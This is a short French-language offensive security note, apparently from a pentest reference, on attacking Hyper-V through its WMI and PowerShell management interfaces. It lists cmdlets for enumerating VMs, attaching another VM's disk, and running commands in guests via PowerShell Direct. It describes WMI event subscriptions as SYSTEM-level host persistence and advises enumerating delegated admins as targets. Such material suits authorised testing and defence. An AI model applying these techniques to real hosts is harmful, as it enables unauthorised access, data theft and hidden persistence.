La surface de contrôle de Hyper-V est programmatique : l'espace de noms WMI root/virtualization/v2, le module PowerShell Hyper-V, et les services de gestion distante (WinRM, RPC/DCOM) qui les exposent. Un attaquant capable d'atteindre cette surface avec des droits suffisants contrôle le parc de virtualisation sans évasion d'invité : énumérer et manipuler des VM, créer ou reconfigurer une VM pour monter un disque ou exécuter un payload, piloter des invités avec PowerShell Direct, et utiliser l'événementiel de WMI comme persistance durable sur l'hôte.
Piloter Hyper-V via WMI et PowerShell#
# enumerate and control VMs via the Hyper-V module (wraps the WMI namespace)
Get-VM; Get-VMHardDiskDrive -VMName *
# or directly through WMI
Get-CimInstance -Namespace root\virtualization\v2 -ClassName Msvm_ComputerSystem
# create/modify a VM to attach a target VHD or boot attacker media
New-VM -Name x -VHDPath '<target>.vhdx' # attach another VM's disk
# run inside a guest from the host, no guest network needed
Invoke-Command -VMName <guest> -Credential <c> -ScriptBlock { ... }
WMI comme persistance#
# a permanent WMI event subscription runs a payload on a trigger, as SYSTEM, and
# survives reboots - a classic host persistence mechanism on the Hyper-V host
# (__EventFilter + CommandLineEventConsumer + FilterToConsumerBinding)
Notes d'exploitation#
- Le plan de gestion est une alternative à une évasion d'invité : avec l'administration de l'hôte ou des droits Hyper-V délégués, vous contrôlez chaque VM et pouvez attacher le disque d'une autre VM à une VM que vous contrôlez pour le lire, ou démarrer une VM depuis un média de l'attaquant.
- PowerShell Direct est le pivot discret de l'hôte vers l'invité : il s'exécute dans l'invité via le canal adossé à VMBus sans exposition réseau de l'invité, nécessitant seulement des identifiants invité et un accès hôte.
- Les abonnements d'événements WMI permanents constituent une persistance durable de niveau SYSTEM sur l'hôte, et se fondent dans l'outillage administratif.
- La gestion déléguée (groupe Hyper-V Administrators, délégation contrainte) peut accorder le contrôle des VM sans administration complète de l'hôte ; énumérez qui en dispose comme aide au ciblage.